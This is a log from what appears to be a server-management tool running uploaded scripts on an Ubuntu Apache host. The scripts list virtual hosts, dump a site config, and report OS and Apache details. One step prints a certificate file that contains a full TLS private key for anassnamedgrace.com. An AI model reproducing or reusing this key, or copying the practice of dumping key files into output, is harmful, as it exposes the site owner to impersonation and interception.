MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-13 14:46:47: Establishing a connection
2026-06-13 14:46:47: 

PUT: /tmp/pkp594322

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-13 14:46:47: 

chmod 755 /tmp/pkp594322; /tmp/pkp594322; rm /tmp/pkp594322

2026-06-13 14:46:47: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anassnamedgrace.com (/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf:2)
                 alias www.anassnamedgrace.com
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server anassnamedgrace.com (/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf:20)
         port 443 namevhost anassnamedgrace.com (/etc/apache2/sites-enabled/anassnamedgrace_www_com.conf:20)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-06-13 14:46:47: 

PUT: /tmp/pkp580754

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/anassnamedgrace_www_com.conf')
    show_file('/etc/apache2/ /etc/apache2/etc/apache2/sites-available/anassnamedgrace_www_com.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-13 14:46:47: 

chmod 755 /tmp/pkp580754; /tmp/pkp580754; rm /tmp/pkp580754

2026-06-13 14:46:47: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/anassnamedgrace_www_com.conf	1282

<VirtualHost *:80>
    ServerName	anassnamedgrace.com
    ServerAdmin	do_not_email@example.com
    ServerAlias	www.anassnamedgrace.com
    DocumentRoot	/var/www/anassnamedgrace_www
    <Directory /var/www/anassnamedgrace_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anassnamedgrace/www_access.log combined
    ErrorLog	/var/log/apache2/anassnamedgrace/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	anassnamedgrace.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/a86a725f22b47d8df1b5d61e4e299a76.crt
    DocumentRoot	/var/www/anassnamedgrace_www
    <Directory /var/www/anassnamedgrace_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/anassnamedgrace/www_secure_access.log combined
    ErrorLog	/var/log/apache2/anassnamedgrace/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-06-13 14:46:47: 

PUT: /tmp/pkp469301

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/a86a725f22b47d8df1b5d61e4e299a76.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-06-13 14:46:47: 

chmod 755 /tmp/pkp469301; /tmp/pkp469301; rm /tmp/pkp469301

2026-06-13 14:46:47: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/a86a725f22b47d8df1b5d61e4e299a76.crt	7461
d4:ae:40:db:21:55:15:46:14:31:87:1d:9c:32:07:64

-----BEGIN CERTIFICATE-----
MIIFGTCCBAGgAwIBAgISBQlQbRiWJNlHiEn/Zw8E1VyXMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjEzMTM0NzU0WhcNMjYwOTExMTM0NzUzWjAeMRwwGgYDVQQD
ExNhbmFzc25hbWVkZ3JhY2UuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAqp9lTykx/2SAoRqDNHDrJfnA2YpwfAreaFroYKD91+hZ/zMKwxP3fCK1
tBzTblha8vRWmjzB2aVfXC/RlcAyyewcqhXqEYf9a0OnNFaPpsW626ORSTtLRfju
08bWnISE5baFp+JOXaG9jF2RxAkxqTS2yJpheW68LxcD20dv0F/OxyZqGpnHf7gI
IWaFItYnHbCWm94xc5CeqIdjFsh04V4e19MO+AzPI7mkff7AS+87l6vmxUmhjq/1
49a2YUBdgRTod3CJTroxwSSmuAvO2hC8+fN1gc3xiMz6AfxRtkWo8iUH2JCkRv7J
xgtY83MnvDKku2+2pr12rx+AcM4qzQIDAQABo4ICOjCCAjYwDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FOpBSOUe5QHqUg9vZwaXKgmunTgAMB8GA1UdIwQYMBaAFB8vNb5GFILNQLGueSxV
ePr31Gj7MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3lyMS5p
LmxlbmNyLm9yZy8wNwYDVR0RBDAwLoITYW5hc3NuYW1lZGdyYWNlLmNvbYIXd3d3
LmFuYXNzbmFtZWRncmFjZS5jb20wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0f
BCcwJTAjoCGgH4YdaHR0cDovL3lyMS5jLmxlbmNyLm9yZy8yNC5jcmwwggEMBgor
BgEEAdZ5AgQCBIH9BIH6APgAdgDCMX5XRRmjRe5/ON6ykEHrx8IhWiK/f9W1rXaa
2Q5SzQAAAZ7BcsTAAAAEAwBHMEUCIBFlVxqkfV0bDQK9J7izg/UeJVmHk4kK9NKL
Rr3TnZf6AiEA19aM6hRuUKX+ClgVArhmXtLQkhFfJykxrNs/Sn4/WFkAfgBGr4Y9
Oz7ln6V33qgkXTaw2e0ioiP0YXdBIpRS7pVQXwAAAZ7BcsU8AAgAAAUACZ6fvAQD
AEcwRQIgE3oVoQpvQaleE0G3t46XZryTl+XtXJnURvxHePPBwXsCIQDHHRWKWz06
jhgTbnRsB1Ze9/D3YJ54KEqnmVBrXru32zANBgkqhkiG9w0BAQsFAAOCAQEAD+Zf
uU56FL1pVPMiziVjyNoN5jOKsGGPcO2CrmOPjj4WZOasmmnQzyllYQOIgr5fUeMd
5IWHq8HPGBZApsyHL5XzXIe3UZqqSlreMwyBfHPGlWnWcEokMmKRtQb5QxUQPTkj
Mw4VyFV5zq0fmP5ECD1WA7npX1ozeYDMMgvJPeEpPL4amh4xBBv6IU/uXVlNiHBi
zPI6GQlk+uqQsJIv+6inbZuz17HW0WIcDRu2zpMCANH5xPTAMMNveIqGprQW/WR7
u1/CNNTdyNJqWYr48+6auJYfdBHuJ0MTkumzNGVQY1XH2w6R+4sCFnWt9i7SZTY3
SO0cxfWLcp8hvUWBtA==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCqn2VPKTH/ZICh
GoM0cOsl+cDZinB8Ct5oWuhgoP3X6Fn/MwrDE/d8IrW0HNNuWFry9FaaPMHZpV9c
L9GVwDLJ7ByqFeoRh/1rQ6c0Vo+mxbrbo5FJO0tF+O7TxtachITltoWn4k5dob2M
XZHECTGpNLbImmF5brwvFwPbR2/QX87HJmoamcd/uAghZoUi1icdsJab3jFzkJ6o
h2MWyHThXh7X0w74DM8juaR9/sBL7zuXq+bFSaGOr/Xj1rZhQF2BFOh3cIlOujHB
JKa4C87aELz583WBzfGIzPoB/FG2RajyJQfYkKRG/snGC1jzcye8MqS7b7amvXav
H4BwzirNAgMBAAECggEAJ5RlwS0GfN7wys52aLwYBF1xK9WmPdQcnzsVZFL8R7FN
7ToHMVUoqCp6GZ/FOTf0Ux80lr9o3Ybz/dPW68Tj0zz7MkZ2n536/r65IxZAaRi9
vbUuHv2K+t6h8k0SHElOdeY3D4ibErPSH2VWStIyK7T/gL31RiDWtRrC6YNjEARD
6z3U7GtIx6GINoh7jGTRiTbKc05mdPaKyi+vYnb21rd4KLcLreSh219RmuCaFOgD
+28ASujzSHAdRRa46mD8aaTpkTWc4ULZ6TaNPMl/wO5Sqj3555ipcHimEhNXklaZ
1UjrT84oQtVsoeLtz7xFt4D4Lt7v7jTGG5CKnLgWSQKBgQDr7oRSm5O4nr9aGVXl
cWgIGfTKvFT/ss66iqEUrVTiQOgNvXiqjhl6KXIEqLOoW8DGZInw4kO4kmUCk0Lz
wFgUZOgX1/c0c+6s+V5qmY846TloLRak87hI5/ivrUOlc5F1VA7l1+cqyQRVxC+8
4BC0DFFfX82IwGRPAqHyzowaNQKBgQC5IsEmDbS3yM5qmTBm5aM/41nMeCacH5Yo
9Z3n02sBRwUB2zUXXzs+Pq5pDFdIDkEgM4QaZ1++REb7Ocb409sIVQw3FRVUyhhd
coxdMZc+1nUOkD1UWD2XiMtSpl31Wgb9/+rJluvyFc35LYzKhxe/CHAJqXYse5+B
6sI+xr2hOQKBgQDQuRuxZVfDnhWVZRKbwL+TYzswXHsqF4tSdrBY9ZtB6sAg372v
zbT2YVIwkvsV985M9ccfJ11YHZNlOtihgkmqCTdXWMWnTuUZfCeuURnm9FXINxNw
bPlc7nQRH0zYQ6ysyue/KUmmjV3bbov5IZVFZBxdLwlLcUGMsLyLbXV+/QKBgCv7
Hql8ng7/DFJ0m/QF37dgukeBz6JNOq32U5HsPsJp7b2YJs+rlvZdi692+BEtGbmd
o2dmYW9g5v/tpOAd7C3ZjnJTduLSs+EXQlMtYcHSzrIr//XWlKM4Ix06Wp3bykdz
EYLccKbtGSZ19Ll0SGbgiUUyVdmRcL47V/Pz4L65AoGAKcBdLyHLvN4w9922bNhi
wpp7EpERLpI2T9Atgc0ySAWErCcv9ofDbJIze5d60SZRiHuKlePw5xtbBhhj2611
BsH7UCxuDPpwknabXTDD8+PmrupgqZEeEPXcFesCuWNOLjti0xAaiz/Oa0ilmgxZ
WGzeHuy1OodAZn5ZpWNGFsc=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-06-13 14:47:27: Establishing a connection
2026-06-13 14:47:35: Establishing a connection
2026-06-13 14:47:35: Performing Server Status
2026-06-13 14:47:35: 

PUT: /tmp/pkp149685

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-06-13 14:47:35: 

chmod 755 /tmp/pkp149685; /tmp/pkp149685; rm /tmp/pkp149685

2026-06-13 14:47:35: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
dgmarshall

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-124-generic



2026-06-13 14:47:35: 

PUT: /tmp/pkp736166

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-06-13 14:47:35: 

chmod 755 /tmp/pkp736166; /tmp/pkp736166; rm /tmp/pkp736166

2026-06-13 14:47:35: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2026-06-03T15:41:58
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
